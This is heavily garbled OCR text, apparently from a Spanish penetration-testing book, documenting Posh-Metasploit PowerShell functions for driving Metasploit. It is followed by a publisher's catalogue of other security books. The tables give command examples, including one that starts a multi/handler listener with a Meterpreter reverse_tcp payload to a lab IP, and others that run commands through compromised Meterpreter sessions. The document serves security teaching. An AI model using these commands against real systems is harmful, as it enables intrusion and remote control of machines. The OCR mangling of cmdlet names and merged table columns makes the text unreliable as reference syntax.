e e . oke-MSFConsoleCommand. Ge"MSFDBNO’e alab de d d snloi
Fig. 4.09: Ejemplo de ejecticion de comandos a través de Invoke 4 1a base de datos de Metasploit
Esta funcién permite adadir o modificar una nota en la base de
Set-MSFDBNote P :
datos de Metasploit
Esta funcién permite eliminar una nota de la base de datos de
Db g ” inloi la base de datos Remove-MSFDBNote p ;
Este modulo proporciona funciones que permiten la gestion de Meta.sp{on con Ia e Mattisato
qze tenga configurada en el servidor. Esto puede ser util para almacenar informacion, por ejemp
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Funcién Descripcién

Esta funcién devuelve un listado de eventos registrados en la
sesion de Metasploit. Es decir, cada vez que el usuario ejecuta un
comando, una consola se inicia, etcétera, se registra un evento.
Con esta funcién se pueden visualizar los distintos eventos de la
sesion. Un ejemplo seria Ger-MSFDBEvent —id <identificador
sesion> -Limit <registros a consultar>

Get-MSFDBEvent

Esta funcién permite afiadir una credencial a la base de datos de
Metasploit. Un ejemplo seria Set-MSFDBCred —Id <identificador
sesion™> -Port <puerto> -Username <nombre usuario™> -Password
<contrasenia> -Type Password —IPAddress <direccion IP host>

Set-MSFDBCred

Esta funcién devuelve un listado de credenciales recopiladas en la

Get-MSFDBCred base de datos de Metasploit

Esta funcién devuelve un listado de los loot recopilados en la base

GexREFRGLd0r de datos de Metasploit

Esta funcién devuelve el estado de la base de datos. La

Get-MSFDBStatus : s : ;
informacién interesante aqui es el driver configurado

Esta funcion realiza la conexién a la base de datos. La instruccion
para llevar a cabo la conexién es Connect-MSFDB ~DBHost
<direccion IP host DB> -DatabaseName <nombre DB>
-Credentiales (Get-Credential msf)

Connect-MSFDB

Disconnect-MSFDB Esta funcion realiza la desconexion de la base de datos
Get-MSFDBWorspace Esta funcion devuelve el listado de workspaces
Get- Esta funcion devuelve el listado actual de workspaces sobre el que

MSFDBCurrentWorspace Metasploit se esta ejecutando

New-MSFDBWorkspace Esta funcion permite afadir un nuevo workspace

Remove-MSFDBWorkspace Esta funcién elimina un workspace el cual se debe indicar

Set-MSFDBWorkspace Esta funcién afiade o modifica un workspace

Esta funcion permite importar informacion de escaneos con otras
herramientas a la base de datos de Merasploit. Un gjemplo seria
Import-MSFDBData -Id <identificador sesion> -File <report.

nessus>

Import-MSFDBData

Tabla 4.02: Funciones de Db en Posh-Metasploit.

Jobs

Este médulo proporciona al pentester las funciones necesarias para gestionar trabajos o Jobs que
Metasploit lanza por debajo. Por ejemplo, cuando se lanza un modulo de tipo exploif con interaccion

Capitulo IV. PowerShell y otras herramientas: Pentesting sin limites m

el l:lSllarlF)', se suele !anzar un servicio que espera las peticiones del usuario, esto seria un job. A
continuacion se describen las funciones que gestionan los Jobs en Metasploit: e

Funcién Descripcién

. Esta funcién devuelve un listado de los Jobs que se encuentran
ejecutando en la sesién de Metasploit. Un ejemplo seria Get-MSF.Job ~Id
<identificador sesién>
Esta funcfién devuelve un listado de los Jobs que se encuentran ejecutando
Get-MSFiobinfo en la sesion de Metasploit. Como aiiadido la informacién que se devuelve

son todos los valores que se encuentran configurados en el Datastore de
dicho jobh
Esta funcién elimina un job que se encuentra ejecutando en Metasploit

Get-MSFJob

Remove-MSF.Job

Tabla 4.03: Funciones de Jobs en Posh-Metasploit.

En la imagen se puede visualizar un ejemplo de recuperacion de Jobs de Metasploity

que se f)buenc::: Es importante ver la informacién recuperada del Datastore, dénde se
la configuracion del médulo conereto,

la informacion
puede visualizar

Fig. 4.10: Recuperacion de informacion de foy job que ejecuran en Meiasploir

Module

;stz nlmdi]l lo proporcrc.ma diferentes funciones que permiten gestionar e interactuar con los diferentes
0"u os de Me'llasp/ozr. E.slas funciones ayudan a configurar ciertos médulos v poder gjecutarlos a
través de la sesién como si el usuario estuviera conectado a la consola .

A continuacién se describen las diferentes funciones con aleunos gjemplos:

Funcién Descripcion
Esta funcién proporciona un listado de estadisticas sobre
Get-MSFModuleStats ‘el nimero de mOdl.IIOS de cada tipo que se encuentra
disponible en la version de Metasploit. Un ejemplo seria
Get-MSF ModuleStats -1d <identificador sesion>
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Funciéon

Descripcion

Invoke-MSFModuleReload

Esta funcién recarga todos los modulos de Merasploit,
actualizando el niimero de médulos si alguno hubiera sido
anadido desde la Gltima carga. Un ejemplo seria /nvoke-
MSFModuleReload -Id <identificador sesion>

Ger-MSFAuxiliaryModule

Esta funcion recupera todos los médulos de tipo Auxiliary
que hay cargados en Metasploit. Un ejemplo para
recuperar modulos que hagan fuerza bruta al login podria
ser Get-MSFAuxiliaryModule -Id <identificador sesion> |
where {$_.name -like “*login™®”}

Get-MSFPostModule

Esta funcién recupera todos los médulos de tipo Post que
se encuentran cargados en Metasploit

Get-MSFExploitModule

Esta funcién recupera todos los médulos de tipo Exploit
que se encuentran cargados en Merasploit

Ger-MSFPayloadModule

Esta funcioén recupera todos los mddulos de tipo Payload
que se encuentran cargados en Metasploit

Get-MSFNOPS

Esta funcion recupera todos los modulos de tipo Nops que
se encuentran cargados en Metasploit

Get-MSFModulelnfo

Esta funcion devuelve informacion sobre un médulo
concreto que debe ser indicado a través de los argumentos
Name y Type. Un ejemplo seria Get-MSFModulelnfo -Id
<identificador sesion> -Name multi’handler -Tipe exploit

Get-

MSFExploitCompatiblePavioad

Esta funcién devuelve informacion sobre los moédulos de
tipo payload que son compatibles con un médulo de tipo
exploit en concreto. Un ejemplo de esta funcionalidad
seria Get-MSFExploitCompatiblePayload -Id
<identificador sesion> -Name windows/smb/psexec

Gel-MSFModuleOptions

Esta funcién devuelve todas las opciones y detalles con
los que estd configurado un modulo. Se muestran tanto
las opciones bésicas como las avanzadas. Un ejemplo
seria Ger- MSFModuleOptions -ld <identificador sesién>
-Name windows/meterpreter/reverse_tcp -Type payioad
-Verbose

Get-

MSFPostCompatibleSession

Esta funcién enumera qué sesiones, por ejemplo de
Meterpreter, ya abiertas en Metasploit son compatibles
con el médulo de Post-Exploitation que se indica como

argumento. Un ejemplo seria Ger-MSFCompatibleSession
-ld <identificador sesion> -Name “multi/general/
execute”

Capitulo IV. PowerShell y otras herramientas: Pentesting sin limites
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Funcién

Descripci6én

Invoke-MSF Module

Esta funcién permite ejecutar un médulo pasandole
lg configuracién a través del pardmetro Options. Un
e.J’empIo seria Invoke-MSFModule -Id <identificador
sesion> -Type exploit -Name “multi/handler” -Options @
{“PAYLOAD "= "windows/meterpreter/reverse tep”y :‘L;I
OST"="192.168.56.101"; "LPORT"=4444 J- Verl'mse

Tabla 4.04: Funciones de Module en Posh-Metasploir.

Plugin

Esta categorfa 0 médulo de Posh

-Metasploit permite gestionar e interactuar con diferentes plugins

desarrollados para mejorar la experiencia de Metasploit durante un test de intrusién

Por ejemplo, se pueden utilizar plugins que integren herramient
conel ﬁp de aprovechar los resultados obtenidos en la fase
las funciones que aporta e/ médulo:

as como Nessus, Nmap o Nexpose
de explotacion. A continuacion se detallan

Funcién

Descripcién

Get-MSF LoadedPlugin

Esta funcién proporciona un listado de todos los plugins cargados
en Metasploit. Un ejemplo seria Get-MSFLoadedPlugin —Id
<identificador sesion>

Register-MSFPlugin

Esta funcion permite registrar un plugin y de este modo disponer
de los comandos que el plugin aporta. Su comando equivalente
en Metasploit seria load <plugin>. Un ejemplo seria Regisrer-

A/{SF Plugin -1d <identificador sesién> -Name nessus. y
posteriormente para ver si el plugin se ha cargado correctamente
se lanzaria Ger-MSF, LoadedPlugin —Id <identificador sesién>

UnRegister-MSFPlugin

Esta funcién permite descargar o eliminar un plugin ya cargado.
S.u comando equivalente en Metasplot seria unload <‘;Jlugin>. Un
ejemplo seria UnRegister-MSFPlugin —Id <identificador sesion>

-Name nessus .

Tabla 4.05: Funciones de Plugin en Posh-Metasploit.

Posh

Este médulo lleva el nombre idéntico del Sframewortk.
re‘moto de Metasploit via XMLRPC. desde la creac
eliminacién. A continuacién se describen las diferen

Permite la gestion de las sesiones con el servidor
ion de dichas sesiones hasta la desconexion y
tes funciones que forman parte del médulo:
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Funcién Descripcion Funcién ' Descripcion
Genera una nueva sesién dado un MSFRPCD. Un ejemplo seria Es}? ft;nc;\,c;n permite escnbllr fextod e e I
New-MSFServerSession New-MSFServerSession -ComputerName 192.168.1.104 -Port " sesion de Meterpreter obtcmc!a tras la explotacion
o P 55553 -Credentials (Get-Credential msf) Write-MSF MeterpreterConsole de una vulnerabilidad. Un ejemplo seria Wiire-

MSF MeterpreterConsole -Index 0 -Sessionld <ID sesion
Meterpreter> -Text “sysinfo'n"

Esta funcion permite leer resultados obtenidos tras la
escritura con Write-MSF MeterpreterConsole. Es decir.
con una funcion se escribe a través de la sesion para
ejecutar una orden y con la otra funcién se recupera la
salida de lo escrito en consola. Un ejemplo seria Read-

Set-MSFAuthToken Configura sobre una sesion existente un duthentication Token
Esta funcién devuelve un listado de las sesiones que hay abiertas
con el servidor remoto
Esta funcién elimina una sesion existente en el servidor. La sesion

Remove-MSFServerSession |  debe indicarse a través del parametro /d, por ejemplo Remove- Read-MSFMeterpreterConsole
MSFServerSession -1d 2 —Verbose

Ger-MSFServerSession

Esta funcién devuelve informacién sobre la version Core de una MSFMeterpreterConsole ~Id <identificador sesion>
Get-MSFCorelnfo sesion de Metasploit -Sessionld <1D sesion Meterpreter>
Esta funcion devuelve informacion sobre el zoken de autenticacion Esta funcién devuelve un listado de médulos de tipo
Get-MSFAuthToken de una sesion Get- post que son compatibles con la sesion que el usuario
e tiene en la maquina comprometida. Un ejemplo seria
Dt Fioie manente foken de autenticacion G R . B C AT e
. New-MSFAuthToken Bate foncion gensm 0o Bueva A}/’Ir; = Toit MSFSessionCompatPostModule Get-MSFSessionCompatPostModule -1d <identificador
‘ i asplo i ; 5
| it — ” sesion> -Sessionld <ID sesion Meterpreier>
| ion elimi ken de autenticacion conocido, ion ei ;
1 | Remove-MSFAuthToken B l'uncnqn alionng un “ . Esta funcion ejecuta un comando a través de la consola
. R AR en indicandole a través del pardmetro ~Token 2 v
- - ] sobre una sesion de Mererpreter. El comando debe ser
‘ Gt MSF sl Esta funcion devuelve un listado de hilos que se ¢jecutan en e Invoke-MSF MeterpreterCommand propio de Meterpreter. Un ejemplo valido es Invoke-
- Y C - opr .
=t iy servidor MSFMMeterpreterCommand —1d <identificador sesion>
Remove-MSFThread Esta funcién detiene el hilo en ejecucion -Sessionld <1D sesién Meterpreter> -Command “getuid”
Get-PoshMSFersion Esta funcién devuelve la version actual de Posh-Metasploit Esta funcién escribe un texto a través de una sesion

- de shell. Un ejemplo seria Write-MSFEShellConsole
0% i ! madulo Posh-Metasploit en Posh-Metasplait. Write-MSFShellConsole _ . s ol e
Tablec4.06: Fanciones del modido Posh-Meltsy Ce -Id <identificador sesion> -Sessionld <ID sesion
Meterpreter> -Text “ping -c 2 127.0.0.1 'n"

Session Esta funcion permite leer la salida de los comandos
' ; . . i g ; ejecutados a través de Write-MSFShellConsole. Un
Este médulo proporciona las funciones que permiten gestionar las sesiones, tras una explotacion Read-MSFShellConsole " ] s BT M S Cliote- il S doat B
exitosa, que se tiene en Metasploil. La enumeracion de sesiones 0 como interactuar con ellas son A i ’i ;" A ‘1 y <]ch o ﬁw' <=1 *-”’4"‘ Qaen
1 < » I YAy -3éss Se. 1 o mieler>
las funciones interesantes del médulo Session de Posh-Metasploir. A continuacién se detallan las sesion= -bessionla Sesion Meterprelel

i : : Esta funcion finaliza la sesion del payload que se indica a
funciones que forman parte del médulo: s r =

través del parametro Sessionid

Remove-MSFSession

ipei Tabla 4.07: Funciones de Variables en Posh-Metasploit.
Funcion Descripeion

Esta funcion devuelve un listado de las sesiones que se

A continuacién se puede visualizar la ejecucion de la funcion lnvoke-MSFMeterpreterCommand,
encuentran abiertas tras una explotacion. Dentro de los

con la que se consigue ejecutar un comando a través de una sesion de Meterpreter. La salida se
valores que devuelve la funcién se encuentran algunos muestra automaticamente, por lo que se puede decir que esta funcion automatiza el proceso de
interesantes como SessionlD, via_exploil, session_host, entrada y salida de datos, es decir, una sesién mas interactiva. El ejemplo puede encontrarse en la
via_payload, platform o type entre otros. Un ejemplo documentacion de Posh-Merasploit.
seria Get-MSFSession -1d <identificador sesion>

Get-MSFSession
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Trwoke=-MaFlMeterpreterCommend -Id ¢ -5as51ionld 1 -Cormanc “getuid

Fig. 4.11: Ejecucion de comandos de Meterpreter a través de Invoke-MSF MeterpreterConmand.

Variables

Este modulo se encarga de interactuar con las variables, sobretodo globales, del Framework.
Ademds, permite gestionar el almacenamiento de las configuraciones que el usuario haya hecho
sobre el entorno, lo cual equipara a la ejecucién del comando save en Metasploit. A continuacién se

describen las funciones del modulo:

Funcion Descripcion
Esta funcién permite interactuar con el Datastore global de variables.
Set- Equivale a la utilizacién del comando setg <variable> <valor> en

Metasploit. Un ejemplo seria Ser~-MSFGlobalVariable -1d <identificador

MSFGlobalVariable 5
sesion> -Name LHOST -Value 192.168.56.101

Remove- Esta funcién permite desasignar una variable global. Un ejemplo seria
MSFGlobalVariable Remove-MSF GlobalVariable -Id <identificador sesion> -Name LHOST

Esta funcion almacena en la carpeta personal del usuario la
configuracion de Metasploit en ese instante. Es decir, todas las variables
asignadas en los mddulos, todos los cambios realizados, el modulo
activo, etcétera. Un ejemplo seria Save-MSFConfig -Id <identificador
sesion>

Save-MSFConfig

Tabla 4.08; Funciones de Variables en Posh-Metasploit.
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Una al dia

El DNI electronico esta entre nosotros, desde hace bastante
tiempo pero, desgraciadamente, el uso del mismo en su faceta
electronica no ha despegado. Todavia son pocas las empresas y los
particulares que sacan provecho de las funcionalidades que ofrece.
En este libro Rames Sarwat, de la empresa SmartAccess, desgrana
los fundamentos tecnoldgicos que estdn tras él, y muestra como
utilizar el DN/-e en entornos profesionales y particulares. Desde
autenticarse en los sistemas informaticos de una empresa, hasta
desarrollar aplicaciones que saquen partido del DN/-e.

Rames Sarwat es licenciado en Informética por la Universidad
Politécnica de Madridy socio fundador y director de Smaridccess.
Anteriormente ejercié como Director de Consultoria en Microsofi..

Anuario ilustrado de seguridad informatica, anécdotas vy
entrevistas exclusivas... Casi todo lo que ha ocurrido en seguridad
en los altimos doce afios, esta dentro de "“Una al dia: 12 aios de
seguridad informatica .

Para celebrar los dieciséis afios ininterrumpidos del boletin Una
al dia, hemos realizado un recorrido por toda una década de virus.
vulnerabilidades, fraudes, alertas, y reflexiones sobre la seguridad
en Internet. Desde una perspectiva amena y entretenida y con
un disefio sencillo y directo. Los 16 afios de Una al dia sirven
de excusa para un libro que estd compuesto por material nuevo,
revisado y redactado desde la perspectiva del tiempo. Ademds de
las entrevistas exclusivas y las anécdotas propias de Hispasec.|
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Lombate las amenazas de hoy en Wi

Hacking y seguridad
en comunicaciones méviles
GSM/GPRS/UMTS/LTE

José Pico Garcia
David Pérez Conde
. Revisao

La informacion es clave en la preparacion de un test de penetracion.
Sin ella no es posible determinar qué atacar ni como hacerlo. Y los
buscadores se han convertido en herramientas fundamentales para
la mineria de datos y los procesos de inteligencia. Sin embargo,
pese a que las técnicas de Google Hacking lleven afios siendo
utilizadas, quizé no hayan sido siempre bien tratadas ni transmitidas
al piiblico. Limitarse a emplear Google Dorks conocidos o a usar
herramientas que automaticen esta tarea es, con respecto al uso de
los buscadores, lo mismo que usar una herramienta como Nessus,
o quiza el autopwn de Metasploit, y pensar que se estd realizando
un test de penetracion. Por supuesto, estas herramientas son ttiles,
pero se debe ir mas alld, comprender los problemas encontrados,
ser capaces de detectar otros nuevos... y combinar herramientas.

Hoy en dia no sufrimos las mismas amenazas (ni en cantidad ni
en calidad) que hace algunos afios. Y no sabemos cuéles seran los
retos del manana. Hoy el problema mas grave es mitigar el impacto
causado por las vulnerabilidades en el sofiware y la complejidad
de los programas. Y eso no se consigue con una guia “tradicional”,
Y mucho menos si se perpetian las recomendaciones “de toda
la vida” como “cortafuegos”, “antivirus” y “sentido comun”.
(Acaso no disponemos de otras armas mucho mas potentes? No.
Disponemos de las herramientas “tradicionales™ muy mejoradas,
cierto. pero también de otras tecnologias avanzadas para mitigar las
amenazas. El problema es que no son tan conocidas ni simples. Por
tanto es necesario leer el manual de instrucciones, entenderlas... y

aprovecharlas..,

Mas de 3.000 millones de usuarios en mas de 200 paises utilizamos
diariamente las comunicaciones moviles GSM/GPRS/UMTS
(2G/3G) para llevar a cabo conversaciones y transferencias de
datos. Pero, ;son seguras estas comunicaciones?. En los @ltimos
afios se han hecho ptiblicos miiltiples vulnerabilidades y ejemplos
de ataques practicos contra GSM/GPRS/UMTS que han puesto en
evidencia que no podemos simplemente confiar en su seguridad..

Descubra en este libro cudles son las vulnerabilidades y los
ataques contra GSM/GPRS/UMTS (2G/3G) y el estado respecto a
la nueva tecnologia LTE, comprenda las técnicas y conocimientos
que subyacen tras esos ataques y conozca qué puede hacer para
proteger sus comunicaciones moviles.
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La Administracién Espanola lidera un encomiable esfuerzo hacia
el Desarrollo de la Sociedad de la Informacién en Esparfia, asi
como en el uso dptimo de las tecnologias de la Informacién en pro
de una prestacion de servicios maés eficiente hacia los ciudadanos.
Aunque este tipo de contenidos no siempre son faciles de tratar
sin caer en un excesivo dogmatismo, si es cierto que en el marco
de la Ley /1/2007 del 22 de Junio, de acceso electrénico de los
ciudadanos a los Servicios Piblicos, se anuncio la creacion de los
Esquemas Nacionales de Interoperabilidad y de Seguridad con la
mision de garantizar un derecho ciudadano, lo que sin duda es un
reto y una responsabilidad de primera magnitud. Este manual sirve
para facilitar a los responsables de seguridad el cumplimiento de
los aspectos tecnolégicos derivados del cumplimiento del ENS.

No es de extrafiar que los programas contengan fallos, errores,
que, bajo determinadas circunstancias los hagan funcionar de
forma extrafia. Que los conviertan en algo para lo que no estaban
disefiados. Aqui es donde entran en juego los posibles atacantes.
Pentesters, auditores,... y ciberdelincuentes. Para la organizacion,
mejor que sea uno de los primeros que uno de los tltimos. Pero para
la aplicacion, que no entra en valorar intenciones, no hay diferencia
entre ellos. Simplemente, son usuarios que hablan un extrafio
idioma en que los errores se denominan “vulnerabilidades”, y una
aplicacion defectuosa puede terminar convirtiendose, por ejemplo.
en una interfaz de usuario que le permita interactuar directamente
con la base de datos. Y basta con un Unico error.

Las redes de datos /P hace mucho tiempo que gobiernan nuestras
sociedades. Empresas, gobiernos y sistemas de interaccion
social se basan en redes TCP/IP. Sin embargo, estas redes tienen
vulnerabilidades que pueden ser aprovechadas por un atacante
para robar contrasefias, capturar conversaciones de voz, mensajes
de correo electronico o informacion transmitida desde servidores.
En este libro se analizan cémo funcionan los ataques de man in
the middle en redes IPv4 o IPv6, como por medio de estos ataques
se puede crakear una conexién VPN PPTP, robar la conexién de
un usuario al Active Directory o como suplantar identificadores
en aplicaciones para conseguir perpetrar una intrusiéon ademas del
ataque SLAAC. el funcionamiento de las técnicas 4ARP-Spoofing,
Neighbor Spaofing en IPv6, etcétera.




218

Pentesting con PowerShell

Desarrollo de aplicaciones iOS
para iPhone & iPad: Essentials

Tunm Miguel Agusye Sinches

——
e _———

e s S

{ ~

Windows Server 2012
para IT Pros

Francisco Jeaus A

Windows Server 2012

-

Metasploit

para Pentesters

dicion

Hoy dia es innegable el imparable crecimiento que han tenido las
tecnologias de los dispositivos méviles en los Gltimos afios. El
numero de smariphones, tablets, etcétera han aumentado de manera
exponencial. Esto ha sido asi, hasta tal punto que actualmente estos
dispositivos se han posicionado como tecnologias de méxima
prioridad para muchas empresas.

Con este libro se pueden adquirir los conocimientos necesarios
para desarrollar aplicaciones en iOS, guiando al lector para que
aprenda a utilizar las herramientas y técnicas basicas para iniciarse
en el mundo iOS. Se pretende sentar unas bases, de manera que al
finalizar la lectura, el lector pueda convertirse en desarrollador iOS
y enfrentarse a proyectos de este sistema operativo por si mismo.

Microsoft Windows Server 2(112 ha llegado con novedades cuyo
objetivo es simplificar las, cada vez mas, complejas tareas de
los administradores y profesionales /7. En ¢l presente libro
se recogen la gran mayoria de dichas novedades entre las que
destacan la version 3.0 de Hyper-V, el servidor de virtualizacion
de Microsofi, el almacenamiento con su nuevo sistema de archivos
y sus propiedades, las mejoras y nuevas caracteristicas de Active
Directory, DNS y DHCP, las novedosas formulas de despliegue
eficiente, la ampliacion y mejora de la linea de comandos
Microsoft Windows PowerShell, y como no, la seguridad, un pilar
basico en la estructura de los productos Microsofi La idea del libro
es presentar las novedades y ahondar en los conceptos principales.

[La seguridad de la informacioén es uno de los mercados en auge en
la Informatica hoy en dia. Los gobiernos y empresas valoran sus
activos por lo que deben protegerlos de accesos ilicitos mediante
el uso de auditorias que proporcionen un status de seguridad a
nivel organizativo. El pentesting forma parte de las auditorias
de seguridad y proporciona un conjunto de pruebas que valoren
el estado de la seguridad de la organizacion en ciertas fases.
Metasploit es una de las herramientas mas utilizadas en procesos
de pentesting ya que contempla distintas fases de un test de
intrusion. Con el presente libro se pretende obtener una vision
global de las fases en las que Metasploit puede ofrecer su potencia
y flexibilidad al servicio del hacking ético.
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Microhistorias:
anécdotas y curiosidades
de la Informaética

Natae! Trancasa
Framciecs Snsé Ramirez

Hacking y Seguridad
VoIP

( Sabias que Steve Jobs le llevo en persona un ordenador Maciniosh
a Yoko Ono y también a Mick Jagger? ;Y que Jay Miner, el genio
que cred el Amiga 1000 tenia una perrita que tomaba parte en
algunas de las decisiones de disefio de este ordenador? ;O que
Xenix fue el sistema UNIX mas usado en los 80s en ordenadores y
que era propiedad de Microsofi?

Estas son sélo algunas de las historias y anécdotas que encontraras
en este libro de Microhistorias. Una parte importante de las cuales
tienen como protagonista a los miembros de Microsofi y de Apple.
Historias de hackers. phreakers, programadores y disefiadores
cuya constancia y sabiduria nos sirven de inspiracion y de ejemplo
para nuestros proyectos de hoy en dia.

Angel Rios, auditor de una empresa puntera en el sector de
la seguridad informatica se prepara para acudir a una cita con
Yolanda, antigua compaiiera de clase de la que siempre ha estado
enamorado. Sin embargo. ella no estd interesada en iniciar una
relacion; solo quiere que le ayude a descifrar un misterioso
archivo. Angel se ve envuelto en una intriga que complicara su
vida y lo expondré a un grave peligro. Unicamente contara con sus
conocimientos de hacking y el apoyo de su amigo Marcos.
Mezcla de novela negra y manual técnico, este libro aspira
a enfretener e informar a partes iguales sobre un mundo tan
apasionante como es ¢l de la seguridad informatica. Técnicas de
hacking web, sistemas y analisis forense, son algunos de los temas
que se tratan con total rigor y excelentemente documentados.

La evolucion de VOIP ha sido considerable, siendo hoy dia
una alternativa muy utilizada como solucién tnica de telefonia
en muchisimas empresas. Gracias a la expansion de Internet y
a las redes de alta velocidad, llegara un momento en el que las
lineas telefénicas convencionales sean totalmente sustituidas por
sistemas de VOIP, dado el ahorro econdémico no sélo en llamadas
sino también en infraestructura.

El gran problema es la falta de concienciacion en seguridad. Las
empresas aprenden de los errores a base de pagar elevadas facturas
y a causa de suffrir intrusiones en sus sistemas.

Este libro muestra como hacer un test de penetracion en un sistema
de VOIP asi como las herramientas mas utilizadas para atacarlo,
repasando ademas los fallos de configuracién mas comunes.
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Wardog y el mundo
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Desarrollo de aplicaciones
Android seguras

Cifrado de las comunicaciones digitales
De la cifra clasica al algoritmo RSA

 Has pensado alguna vez por qué cono el informatico tiene siempre
esa cara de orco? ;Por qué siempre esta enfadado? ;Por qué no se
relaciona con la gente de la oficina?

Yo te lo digo: por tu culpa. Por vuestra culpa. Por las burradas
que hacéis. Porque no os podéis estar quietecitos. no... Porque os
creéis que el informatico tiene la solucién para todo.

Pasa, pasa, y entérate de qué pasa por la cabeza de Wardog. un
administrador de sistemas renegado, con afidn de venganza, con
maldad y con mala hostia.

Wardog y el mundo es el producto de aiios de exposicion a /users
dotados de estupidez toxica. de mala baba destilada y acidez de
estomago. Y café en cantidades malsanas.

Actualmente, el mundo de las aplicaciones moviles es uno de los
sectores que mas dinero mueve en el mercado de la informatica.
Tener conocimientos de programacion en estas plataformas
moviles es una garantia para poder encontrar empleo a dia de hoy.
“Desarrollo de aplicaciones Android seguras™ pretende inculcar
al lector una base sélida de conocimientos sobre programacion
en la plataforma movil con mayor cuota de mercado del mundo:
Android. Mediante un enfoque eminentemente practico, el libro
guiard al lector en el desarrollo de las funcionalidades mas
demandadas a la hora de desarrollar una aplicacion movil. Ademas
se pretende educar al programador e introducirle en la utilizacion
de técnicas de diseio que modelen aplicaciones seguras, en la parte
de almacenamiento de datos y en la parte de comunicaciones.

Este libro se dedica especialmente a dos paradigmas de la
criptografia: la clasica y RSA. Ambos los trata a fondo con el
animo de convertirse en uno de los documentos mas completos en
esta tematica. Para conseguir este trabajo el texto presentado toma
como referencia trabajo previo de los autores, complementandolo
y orientdndolo para hacer su lectura mas asequible.

El técnico o experto en seguridad tendrd especial interés por el
sistema RSA, aunque le venga muy bien recordar sus inicios en
la criptografia como texto de amena lectura y, por su parte, el
lector no experto en estos temas criptolégicos pero si interesado,
seguramente le atraiga inicialmente la criptografia clasica por su
sencillez y sentido histérico.

Libros publicados

Hardening de servidores GNU/Linux

Este libro trata sobre la securizacién de entornos Linux siguiendo
el modelo de Defensa en Profundidad. Es decir, diferenciando la
infraestructura en diferentes capas que deberan ser configuradas
de forma adecuada. teniendo como principal objetivo la
seguridad global que proporcionaran, Durante el transcurso de
esta lectura se ofrecen bases teéricas, ejemplos de configuracién
y funcionamiento, ademds de buenas practicas para tratar de
mantener un entorno lo mas seguro posible. Sin duda, los entornos
basados en Limux otrecen una gran flexibilidad y opciones, por lo
que se ha optado por trabajar con las tecnologias mas comunes y
utilizadas. En definitiva, este libro se recomienda a todos aquellos
que deseen reforzar conceptos, asi como para los que necesiten una
base desde la que partir a la hora de securizar un entorno Limux.

A dia de hoy se han vendido mas de 500 millones de dispositivos
iOS y aunque la seguridad del sistema ha mejorado con cada
version todavia se pueden encontrar vulnerabilidades a explotar,
Lasauditorias de seguridad en empresas cada vez se encuentran con
mas dispositivos iOS entre sus objetivos, ya que los empleados los
utilizan en sus puestos de trabajo. lo que hace que haya que pensar
en ellos como posibles riesgos de seguridad. En este libro se han

juntado un nutrido grupo de expertos en seguridad en la materia

para recopilar en un texto, todas las formas de atacar un terminal
iPhone o iPad de un usuario detereminado. Tras leer este libro, si
un determinado usuario tiene un iPhone o un iPad, seguro que al
lector se le ocurren muchas formas de conseguir la informacion
que en €l se guarde o de controlar lo que con él se hace.

El exploiting es el arte de convertir una vulnerabilidad o brecha
de seguridad en una entrada real hacia un sistema ajeno. Cuando
cientos de noticias en Ja red hablan sobre “una posible ejecucion
de codigo arbitrario”, el exploiter es aquella persona capaz de
desarrollar todos los detalles técnicos y complejos elementos
que hacen realidad dicha afirmacién. El objetivo es provocar,
a través de un fallo de programacion. que una aplicacion haga
cosas para las que inicialmente no estaba disefiada, pudiendo
tomar asi posterior control sobre un sistema. Desde la perspectiva
de un hacker ético, este libro le brinda todas las habilidades
necesarias para adentrarse en el mundo del exploiting y hacking
de aplicaciones en el sistema operativo Linux. Conviértase en un
ninja de la seguridad, aprenda el Kung Fu de los hackers.
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TA PARA LA SEALIZACION BF LN PERTEITING.
Pabio Gonzdlez Pérex

La herramienta FOCA es una utilidad pensada por pentesters que hacen
pentesting. Esto hace que la herramienta esté llena de opciones que te
serdn de extremada utilidad si vas a necesitar hacer una auditoria de
seguridad a un sitio web o a la red de una empresa. FOCA esta basada en
la recoleccion de informacidn de fuentes abiertas OSINT, y en esta tltima
version se ponen a disposicion piblica todos los plugins y funciones que
tenia la version PRO.

Ademas, en esta version, es posible ampliar la funcionalidad de la
herrmienta y extender las habilidades de FOCA mediante la creacion de
plugins personalizados.

Las técnicas esteganogratficas se inventaron hace miles de afios, en la
antigua China ya se empleaban para enviar mensajes ocultos entre
personas. Posteriormente. ya en la era de la Guerra Fria, vinieron los
micropuntos.

Las téenicas han ido evolucionando hasta llegar a nuestros dias, en los
que la tecnologia digital ha hecho cambiar radicalmente todas estas
técnicas y utilizar los contenidos digitales para ocultar los mensajes.
La primera ocultacion se basdé en el cambio del tltimo bit, pero
rapidamente se desarrollaron técnicas novedosas que descubrian este
tipo de comunicacion, lo que las inutilizb. Lo que provocod dedicar
mas esfuerzos a desarrollar métodos que utilizaran operaciones y
transformadas matematicas sobre los contenidos digitales que se utilizan
como cobertura de los mensajes

El mundo digital y el mundo fisico estan mas unidos cada dia.
Las organizaciones realizan mas gestiones de manera electronica
y cada dia mas amenazas ponen en peligro los activos de éstas. El
mundo esta interconectado, y por esta razon disciplinas como el
hacking ético se hacen cada vez mas necesarias para comprobar
que laseguridad de los activos de una organizacion es la apropiada.
El hacking ético es el arte que permite llevar a cabo acciones
maliciosas envueltas en la ética profesional de un hacker que ha
sido contratado con el fin de encontrar los agujeros de seguridad
de los sistemas de una organizacion. En el presente libro puedes
encontrar procedimientos, procesos, vectores de ataque, técnicas
de hacking, teoria y practica de este arte.
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En este libro no solamente vas a encontrar contenido relacionado
con las librerias y herramientas disponibles en Python para
gjecutar actividades de pentesting, sino que también se habla sobre
conceptos y técnicas de hacking en entornos de red, elevacion
de privilegios en sistemas Windows y Linux. herramientas
para analisis forense. técnicas para recoleccién de informacion.
técnicas y herramientas para la evasién de antivirus e incluso.
uso y configuracién avanzada de redes anénimas tales como
[2P y TOR. Es un libro escrito especialmente para profesionales
y entusiastas de la seguridad informatica que se sienten a gusto
programando y afinando sus conocimientos. Es una guia para
personas que les gusta saber como funcionan las cosas y que se
encuentran en un proceso continuo de aprendizaje.

Python es un lenguaje de programacién muy popular entre
pentesters y entusiastas de la seguridad informatica, pero también
entre ciberdelincuentes que pretenden detectar y explotar
vulnerabilidades durante todo el tiempo que sea posible. En
este documento encontraras una guia para estudiar algunas de
las tecnicas utilizadas por los atacantes en Internet para explotar
vulnerabilidades y cubrir sus rastros. El enfoque de este libro
es completamente tecnico y los conceptos teoricos se apoyan
con pruebas de concepto utilizando Python. Los conocimientos
necesarios para comprometer un sistema son cada vez mayores
y aprender sobre seguridad informdtica es un reto que muchos
ciberdelincuentes estan afrontando en su dia a dia.

No, esto no es un libro de hacking pero si es un comic basado
